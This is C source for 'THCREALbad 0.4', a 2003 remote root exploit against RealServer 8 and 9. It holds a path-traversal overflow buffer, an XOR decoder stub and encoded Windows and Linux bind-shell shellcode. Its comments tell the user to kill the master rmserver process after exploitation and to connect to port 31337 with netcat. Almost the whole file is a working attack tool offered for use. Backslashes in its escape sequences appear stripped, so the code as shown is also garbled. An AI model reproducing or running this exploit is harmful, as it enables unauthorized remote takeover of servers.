/***************************************************************
/* THCREALbad 0.4 - Wind0wZ & Linux remote root exploit 
/* Exploit by: Johnny Cyberpunk thehackerschoice
/* THC PUBLIC SOURCE MATERIALS 
/*
/* http://www.service.real.com/help/faq/security/rootexploit082203.html
/* 
/* After successful exploitation of a Linux box just type in the following 
/* ps -ef | grep -i rmserver 
/* and then search for the first appearing master pid of rmserver and type 
/* kill -9 <master pid of rmserver> 
/* Otherwise the master process detects that the compromised thread isn't 
/* running in a stable state any longer and kicks u of the box. 
/* On Windows Realservers it doesn't matter, the connection keeps up. 
/* 
/* Also try the testing mode before exploitation of this bug, what OS is 
/* running on the remote site, to know what type of shellcode to use. 
/* 
/* Greetings go to Dave Aitel of Immunitysec who found that bug. 
/* 
/* compile with MS Visual C++ : cl THCREALbad.c 
/***************************************************************

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#define WINDOWS 0
#define LINUX 1
#define OSTESTMODE 2

#pragma comment(lib, "ws2_32.lib")

char ostestmode[] = "OPTIONS / RTSP/1.0rnrn";

char attackbuffer1[] =
"DESCRIBE /"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../"
"../../../../../../../../../../../../../../../../../../../../";

char attackbuffer2[] =
".smi RTSP/1.0rnrn";

char decoder[] =
"xccxccx90x8bxfdx83xc7x37x33xc9xb2x90x66x81xc1"
"x38x01x8ax1fx32xdax88x1fx47xe2xf7";

char linuxshell[] =
"x36xc5x55x6dxfax07x7fx6cx8cxe2x55x6fx04x6fx07"
"x8cxe4xb5x63x34xdex46xc8x85x6fx15x52x55x8cxe4"
"xb5x63x46xc8x85xb5x63xb6x01x8cx41x21x01xc8x85"
"x36xc5x86xc1x09x55x55xb5x63x46xc8x85x8cxc6x34"
"xccxb4x06x34xc5xb5x3ax4cxc8x85x44xe7xf3x34xc5"
"x55x6dx2ax2ax76x6dx6dx2ax67x6cx6bx8cxe6x55x56"
"x8cxe4x9cxb5x0exc8x85";

char w32shell[] =
"x7bxb3xeaxf9x92x95xfcxc9x68x8dx0cx4ex1cx41xdc"
"xe0x44x93x60xb7xb0xb0xa0x98xc7xc3xa2xcfxa3xa2"
"xbexd4xdcxdcx91x7bx95x78x69x6fx6fx6fxcdx13x7d"
"xbaxfaxa0xc9xf4x1bx91x1bxd0x9cx1bxe0x8cx3dx1b"
"xe8x98x1dxcfxacx1bx8bx91x6bx1bxcbxe8x91x6bx1b"
"xdbx8cx91x69x1bxc3xb4x91x6axc3xc1xc2x1bxcbxb0"
"x91x6bxa1x59xd1xa1x50x09x1bxa4x1bx91x6ex3cxa1"
"x52x41x72x14x50xe5x67x9fx26xd5x95x1dxd4xd5x94"
"xf6xa9x80xe5x71xf6xa1x80xcaxc8xcexc6xc0xc2xbb"
"xdex80xd1x9fx27x9cxdax1bx94x18x91x68x9fx26xdd"
"x95x19xd4x1dx48x6exddx95xe5x2ex6exddx94xe4xb1"
"x6exddxb2x1dxcdx88xc3x6fx40x19x57xfax94xc8x18"
"xd5x95x10xd5xe7x9ax1dxcdxe4x10xfbxb6x84x79xe8"
"x6fx6fx6fx19x5exa1x4bxc3xc3xc3xc3xc6xd6xc6x6f"
"x40x07xc5xc8xf6x19xa0xfax80xc5xc7x6fxc5x44xde"
"xc6xc7x6fxc5x5cxc3xc5xc7x6fxc5x40x07x1dxd5x18"
"xc0x6fxc5x74xc5xc5x6fxc5x78x1dxd4x95x9cx04xc3"
"xf8xbexf5xe8xf5xf8xccxf3xfdxf4x04xa1x42x1dxd5"
"x5cx04xc7xc7xc7xc3xc3x6ex56x91x62xc2x04x1dxd5"
"xe8xc0x1dxd5x18xc0x21x98xc3xc3xfax80x6ex5exc2"
"xc3xc3xc3xc5x6fxc5x7cxfax6fx6fxc5x70";

void usage();

int main(int argc, char *argv[])
{ 
unsigned short realport=554;
unsigned int sock,addr,os,rc;
unsigned char *finalbuffer,*osbuf;
struct sockaddr_in mytcp;
struct hostent * hp;
WSADATA wsaData;

printf("nTHCREALbad v0.4 - Wind0wZ & Linux remote root sploit for Realservers 8+9n");
printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)n");

if(argc<3 || argc>3)
usage();

finalbuffer = malloc(2000);
memset(finalbuffer,0,2000);

strcpy(finalbuffer,attackbuffer1);
os = (unsigned short)atoi(argv[2]);
switch(os)
{
case WINDOWS:
decoder[11]=0x90;
break;
case LINUX:
decoder[11]=0x05;
break;
case OSTESTMODE:
break;
default:
printf("nillegal OS value!n");
exit(-1);
}

strcat(finalbuffer,decoder);

if(os==WINDOWS)
strcat(finalbuffer,w32shell);
else
strcat(finalbuffer,linuxshell);

strcat(finalbuffer,attackbuffer2);

if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !n");
exit(-1);
}

hp = gethostbyname(argv[1]);

if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) )
{
printf("Unable to resolve %sn",argv[1]);
exit(-1);
}

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{ 
printf("socket() error...n");
exit(-1);
}

if (hp != NULL)
memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
else
mytcp.sin_addr.s_addr = addr;

if (hp)
mytcp.sin_family = hp->h_addrtype;
else
mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(realport);

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
if(rc==0)
{
if(os==OSTESTMODE)
{
send(sock,ostestmode,sizeof(ostestmode),0);
Sleep(1000);
osbuf = malloc(2000);
memset(osbuf,0,2000);
recv(sock,osbuf,2000,0);
if(*osbuf != '')
for(; *osbuf != '';)
{
if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0))
{
if(*osbuf == 'x53' && *(osbuf + 1) == 'x65' && *(osbuf + 2) == 'x72' && *(osbuf + 3) ==
 'x76' && *(osbuf + 4) == 'x65' && *(osbuf + 5) == 'x72')
{
osbuf += 7;
printf("nDetected OS: ");
while(*osbuf != 'n')
printf("%c", *osbuf++);
printf("n");
break;
}
}
osbuf++;
} 
free(osbuf);
}
else
{
send(sock,finalbuffer,2000,0);
printf("nexploit send .... sleeping a while ....n");
Sleep(1000);
printf("nok ... now try to connect to port 31337 via netcat !n");
}
}
else
printf("can't connect to realserver port!n");

shutdown(sock,1);
closesocket(sock);
free(finalbuffer);
exit(0);
}

void usage()
{
unsigned int a;
printf("nUsage: <Host> <OS>n");
printf("0 = Wind0wZn");
printf("1 = Linuxn");
printf("2 = OS Test Moden");
exit(0);
}

// www.Syue.com [2003-08-25]